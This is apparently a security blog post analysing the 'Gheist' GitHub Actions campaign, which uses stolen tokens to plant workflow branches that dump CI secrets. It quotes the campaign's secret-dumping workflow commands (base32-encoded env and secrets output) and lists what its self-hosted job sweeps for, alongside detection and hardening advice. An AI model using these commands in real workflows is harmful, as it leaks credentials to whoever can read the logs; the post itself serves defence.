The interesting part of Gheist is not that it steals CI secrets. Campaigns have been doing that for years. It’s that the exfiltration path is GitHub’s own API, so there is no attacker domain to block, no suspicious outbound connection to alert on, and nothing for a firewall rule to catch.
Wiz Research has been tracking the campaign since September 15, 2026, and posted its research with a status snapshot dated October 24. The item hit the front page of Hacker News this morning. Since mid-September the tool has planted more than 13,500 branches across more than 850 compromised accounts, ranging from personal projects to private repositories inside enterprise organizations. Wiz says the attack is still ongoing and evolving, and that roughly two thirds of the implicated accounts are no longer available on GitHub, which reads like response activity after Wiz reported the campaign. It takes its name from the user agent its own API calls carry: gheist.
🎯 The Whole Attack Fits in Six Lines of YAML
For every repository a stolen token can reach, the tool creates a branch named ci-sync- plus six random characters, then commits .github/workflows/sync-check.yml with the message ci: sync config. The commit is unsigned and authored as the token’s owner, so on a quick look it appears the account did the work. The push event triggers the workflow, and the run does this:
- name: build
run: |
env | base32 -w 120
echo -n '${{ toJSON(secrets) }}' | base32 -w 120
Three details carry the whole thing. GitHub masks a secret in the log only when the value appears verbatim, and base32 output is not verbatim, so the value prints in full. permissions: {} looks careful but only restricts the job’s GITHUB_TOKEN, not the secrets context. And when a repository has deployment environments, the tool builds a job matrix with environment: ${{ matrix.environment }}, so environment-scoped secrets, which is usually where production credentials live, get printed too.
🕵️ No C2, No Domain, No Egress Rule to Write
After the run, the tool downloads the workflow log through the GitHub API and deletes the run seconds later. The stolen data leaves through github.com, on an authenticated API call, from a host that already has legitimate access to the repository. If your detection story is “alert when a CI runner talks to an unknown domain”, this walks past it without touching the alert.
Two variants run in parallel, and the branch suffix tells them apart. Tool A uses a hexadecimal suffix and the plain payload. Tool B uses base36 and, within hours of its first run on September 28, added timeout-minutes: 6 and the environment matrix, then began tailoring the payload per repository. On October 19 it added a separator line, echo X | base32 -w 120, which prints LAFA==== for its own log parser. That last change is the most telling detail in the report. The operator is iterating on parsing convenience, not on evasion. It never needed evasion.
🛡️ The Control That Worked Stops at the Repo Visibility Boundary
GitHub has held potentially malicious workflow runs for approval since July 28, 2026. A repository collaborator with write access has to approve the run through an authenticated web session, and GitHub applies the hold automatically with no configuration on your side. Every public Gheist run Wiz checked, across all variants including the self-hosted job, sits at action_required. The payloads never executed.
Here is the problem. GitHub’s own changelog says the protection currently applies to public repositories on github.com only, and that GitHub Enterprise Server does not get it at this time. Wiz saw the same line hold in practice. In private repositories and enterprise environments, runs on ci-sync-* branches completed and were then deleted by the gheist user agent. GitHub audit logs show it directly, and CloudTrail shows the organizations’ own workflows running on those branches and assuming AWS roles. Actions executed with no approval because there was nothing to approve.
So the control that saved the public repos is the one that does not apply to the repos where a leaked secret costs actual money. I keep seeing this shape with platform-level mitigations: they ship first where the blast radius is public and visible, and arrive later, if at all, on the private side. Knowing that boundary matters more than knowing the feature exists.
There is a second data point from the same technique family. GitGuardian, reviewing the 2026 wave of GhostAction, found that GitHub held most runs: of 3,669 runs across 605 repositories, only 499 executed, in 32 repositories, and 336 completed, leaking 26 secrets from 13 repositories. The hold clearly reduced the damage. But the same research found only 124 of those repositories, about 16 percent, had been cleaned up by October 5. A hold reduces damage. It does not clean up after you, and it does not rotate anything.
🧨 The Self-Hosted Variant Is the One That Worries Me
Hours after the separator change, Tool B pushed a second job called sync-host with runs-on: self-hosted, apparently only to repositories with a registered self-hosted runner. It writes three helper files (.gdmp_pat, .gdmp_patg, .gdmp_sweep) and logs each stage under a ===== gdmp-pivot: ===== header:
- host details and the crontab
- a recursive search of the home directory, workspace and system paths for 31 token formats, private keys,
.envfiles, Terraform state and shell history - the environment of every process, read from
/proc/*/environ - a container with the host root filesystem mounted, reached through the Docker socket, to repeat the search on the host
- AWS instance-role credentials plus GCP and Azure metadata
- GitHub Actions and GitLab runner credential files
- the Kubernetes service account token
Those 31 token formats include keys for AI providers: Anthropic, Hugging Face, Groq and NVIDIA. That list is a decent proxy for what teams leave lying around in build environments now, and it is a good argument for not persisting provider keys on a runner at all.
The good news is that the job is buggy. Wiz says it looks for the wrong runner key file, its URL-credential regex is broken, and it never collects the GCP or Azure tokens it goes looking for. The bad news is that a half-working credential sweep still tells you what the operator intends next, and an ephemeral runner with no Docker socket would have made most of that list unreachable anyway.
🧭 What I’d Do in a Repo This Week
Hunt first. A planted branch may still be sitting in a repository nobody looked at.
- branches matching
^ci-sync-[0-9a-z]{6}$where the only change is a new.github/workflows/sync-check.ymlwith the commit messageci: sync config - workflow runs on
ci-sync-*branches that were deleted within a minute of completing, plus any activity from thegheistuser agent - if your workflows authenticate to a cloud with OIDC, role assumptions or token exchanges whose subject includes a
ci-sync-branch. This one works even if you do not collect GitHub logs, and I would start here for private repos. - on self-hosted runners, files named
.gdmp_pat,.gdmp_patgor.gdmp_sweep, and the stringgdmp-pivotin job logs
Then assume exposure. Deleting the run or the branch does not undo it, so rotate every repository, organization and environment secret the affected repository could reach, revoke the tokens that pushed the commits, and check the token owner’s machine for an infostealer. Wiz traced the credential sources to stealer logs and to tokens exposed in earlier supply chain compromises such as the Trivy incident in March. If a ci-sync branch ran on a self-hosted runner, treat the host and its instance role as compromised, not as suspicious.
Hardening, in the order I would actually do it:
- require reviewers on any environment holding production secrets, so the environment is a gate and not just a namespace
- scope OIDC trust policies to protected branches or environments
- replace long-lived personal access tokens with GitHub Apps or short-lived fine-grained tokens
- make self-hosted runners ephemeral, with no Docker socket and no unrestricted instance metadata access
One more thing to keep in scope. The campaign overlaps with other activity on the same accounts: 391 accounts renaming about 1,461 repositories into cracked-software lures on October 6, 25 Gheist accounts creating “Windows RDP Runner” repositories within nine minutes on October 18 to farm free compute, and victims carrying PolinRider loaders hidden in vite.config.js behind hundreds of whitespace characters, plus an api.js that package.json runs before every dev and build. The stolen token is the entry point, not the business model. Several unrelated actors reuse the same compromised accounts, so a clean Gheist hunt does not mean the account is clean.
🧠 Final Thoughts
The runner is the one place that legitimately holds every secret at once, so anyone who can write a workflow file does not need to break in anywhere else. Gheist’s real weakness was never its cleverness. Its self-hosted job ships broken, and a single platform-side approval hold was enough to stop it in public repositories. The uncomfortable part is exactly where that hold stops.
If you live in private repositories or on GitHub Enterprise Server, the mitigation that saved the public ecosystem this month is not on your side of the line. Cloud audit logs and OIDC subject checks are.
Thanks for reading.